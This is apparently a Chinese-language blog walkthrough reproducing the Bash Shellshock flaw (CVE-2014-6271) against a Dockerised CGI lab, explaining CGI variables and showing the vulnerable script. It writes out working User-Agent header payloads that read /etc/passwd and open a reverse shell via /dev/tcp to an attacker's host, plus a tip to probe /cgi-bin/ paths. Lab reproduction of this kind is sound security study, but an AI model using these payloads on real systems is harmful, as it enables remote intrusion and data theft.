Bash 远程代码执行漏洞(CVE-2014-6271)复现

分析

CGI

CGI全称是“公共网关接口”(Common Gateway Interface),HTTP服务器与你的或其它机器上的程序进行“交谈”的一种工具,其程序须运行在网络服务器上。
CGI可以用任何一种语言编写,只要这种语言具有标准输入、输出和环境变量。
CGI环境变量列表:
SERVER-NAME:运行CGI序为机器名或IP地址。
  SERVER-INTERFACE:WWW服务器的类型,如:CERN型或NCSA型。
  SERVER-PROTOCOL:通信协议,应当是HTTP/1.0。
  SERVER-PORT:TCP端口,一般说来web端口是80。
  HTTP-ACCEPT:HTTP定义的浏览器能够接受的数据类型。

  HTTP-REFERER: 发送表单的文件URL。(并非所有的浏览器都传送这一变量)
  HTTP-USER-AGENT:发送表单的浏览器的有关信息。
  GETWAY-INTERFACE:CGI程序的版本,在UNIX下为 CGI/1.1。
  PATH-TRANSLATED: PATH-INFO中包含的实际路径名。
  PATH-INFO:浏览器用GET方式发送数据时的附加路径。
  SCRIPT-NAME: CGI程序的路径名。
  QUERY-STRING:表单输入的数据,URL中间号后的内容。
  REMOTE-HOST:发送程序的主机名,不能确定该值。
  REMOTE-ADDR:发送程序的机器的IP地址。
  REMOTE-USER:发送程序的人名。
  CONTENT-TYPE:POST发送,一般为applioation/xwww-form-urlencoded。
  CONTENT-LENGTH:POST方法输入的数据的字节数

Web服务器可以解析(handles)HTTP协议。当Web服务器接收到一个HTTP请求(request),会返回一个HTTP响应 (response),例如送回一个HTML页面。为了处理一个请求(request),Web服务器可以响应(response)一个静态页面或图片,进行页面跳转(redirect),或者把动态响应(dynamic response)的产生委托(delegate)给一些其它的程序例如CGI脚本,JSP(JavaServer Pages)脚本,servlets,ASP(Active Server Pages)脚本,服务器端(server-side)JavaScript,或者一些其它的服务器端(server-side)技术。无论它们的目的如何,这些服务器端(server-side)的程序通常产生一个HTML的响应(response)来让浏览器可以浏览。

流程

复现

GNU Bash 4.3及之前版本在评估某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行shell命令。某些服务和应用允许未经身份验证的远程攻击者提供环境变量以利用此漏洞。

此漏洞源于在调用bash shell之前可以用构造的值创建环境变量。这些变量可以包含代码,在shell被调用后会被立即执行。

环境搭建

https://github.com/Medicean/VulApps/tree/master/b/bash/shellshock1_CVE-2014-6271

1
2
# docker pull medicean/vulapps:b_bash_shellshock1
# docker run -d -p 1000:80 medicean/vulapps:b_bash_shellshock1

然后访问 http://[你的ip]:1000 即可

漏洞复现

  1. 点击页面上的 poc.cgi 后跳转到如图页面

明显返回的是 cgi 环境变量

  1. bp抓包

  1. 将http头中除GET之外的某一处数据改为() { :;}; echo ;echo ;echo 123;

例如:User-Agent: () { :;}; echo ;echo ;echo 123;然后发包

发现命令执行成功了

  1. 然后测试执行系统命令() { :;}; echo ;echo ;echo $(/bin/cat /etc/passwd);

明显执行成功

  1. 那么弹shell也不在话下() { :;}; /bin/bash -i >& /dev/tcp/[弹到你的公网ip]/[端口号] 0>&1;

测试成功

  1. 来自官方说明:部分嵌入式设备的环境变量未设置会导致一些命令需要使用绝对路径,可在执行命令前导入环境变量

    User-Agent: () { :;};echo ; echo; export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; echo $(/bin/ls -al /);

总结

进入到环境中docker exec -it dazzling_tu /bin/bash
进入poc.cgi所在目录cd /usr/local/apache2/cgi-bin
查看poc.cgi的内容cat poc.cgi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=utf-8">'
echo '<title>Bash ShellShock</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</html>'

漏洞就是在这里/usr/bin/env产生的

大致流程如下:

  1. HTTP 头参数传入
  2. env 环境变量接受到参数
  3. bash 执行环境变量中的字符串(黑客构造好的 payload 在这里执行)
  4. 结果保存在当前会话的环境变量中随着 response 返回到客户端
  5. 黑客愉快的进下一步操作

经验+1:扫到/cgi-bin/ .cgi .sh 等目录或文件可以进行有关bash代码注入的测试

payload: () { :;}; echo ; echo ; echo "this test is success!";

参考文章:
https://github.com/Medicean/VulApps/blob/master/b/bash/shellshock1_CVE-2014-6271/README.md
https://www.cnblogs.com/qmfsun/p/7591757.html

AbelChe wechat
扫码加微信
Donate here!!!
0%